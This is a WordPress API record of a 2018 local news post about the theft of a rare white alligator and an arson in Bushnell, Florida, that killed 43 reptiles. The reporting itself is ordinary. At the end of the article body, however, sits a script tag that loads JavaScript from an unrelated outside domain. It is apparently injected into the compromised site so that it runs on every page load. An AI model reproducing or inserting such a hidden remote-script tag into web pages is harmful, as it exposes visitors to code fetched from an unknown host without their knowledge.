{"id":219382,"date":"2018-06-26T11:49:02","date_gmt":"2018-06-26T15:49:02","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=219382"},"modified":"2018-06-26T11:49:02","modified_gmt":"2018-06-26T15:49:02","slug":"suspects-steal-rare-alligator-and-set-building-ablaze-killing-43-other-reptiles","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/suspects-steal-rare-alligator-and-set-building-ablaze-killing-43-other-reptiles\/","title":{"rendered":"Suspects Steal Rare Alligator and Set Building Ablaze Killing 43 Other Reptiles"},"content":{"rendered":"<p><strong>BUSHNELL, Fla.<\/strong> &#8212; Deputies with the Sumter County Sheriff&#8217;s Office are searching for anyone with information leading to the arrest of the person(s) responsible for the theft of a rare alligator, arson, and the death of 43 other reptiles Friday night.<\/p>\n<p>According to a statement made by the Sheriff&#8217;s Department, deputies and firefighters were dispatched to a structure fire on SW 52nd Terrace in Bushnell at approximately 8:30 p.m. Friday night.<\/p>\n<p>By the time firefighters managed to extinguish the flames, the building was a total loss.<\/p>\n<p>Once the fire was extinguished, the property owner and deputies searched the remnants and found 43 of the sheltered reptiles consisting of alligators and crocodiles dead as a result of the fire.<\/p>\n<p>The property owner noted that among the deceased reptiles, one was missing, a rare leucistic alligator, sometimes referred to as a white alligator, named &#8220;Snowball&#8221;.<\/p>\n<p>An investigator from the State Fire Marshall&#8217;s office is investigating the scene to determine the cause of the fire, however, preliminary reports state the fire is believed to be arson according to evidence found at the scene.<\/p>\n<p>Deputies believe one or more suspects burglarized the building stealing the rare gator and then set the building on fire.<\/p>\n<p>Anyone with any information as to the identity or location of the suspect(s) or the missing alligator is asked to contact Sumter County Sheriff&#8217;s Detective Chris Merritt at (352) 793-2621 or they can report their information anonymously by calling Crimeline at 1-800-423-TIPS (8477).<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Deputies seeking suspects involved in the theft of a rare alligator and arson resulting in the death of 43 other reptiles in Bushnell.<\/p>\n","protected":false},"author":1,"featured_media":219383,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"gallery","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,3245,1,11],"tags":[],"class_list":["post-219382","post","type-post","status-publish","format-gallery","has-post-thumbnail","hentry","category-community","category-crime","category-local","category-sumter-county","post_format-post-format-gallery","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/gator-2.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=219382"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/219382\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/219383"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=219382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=219382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=219382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}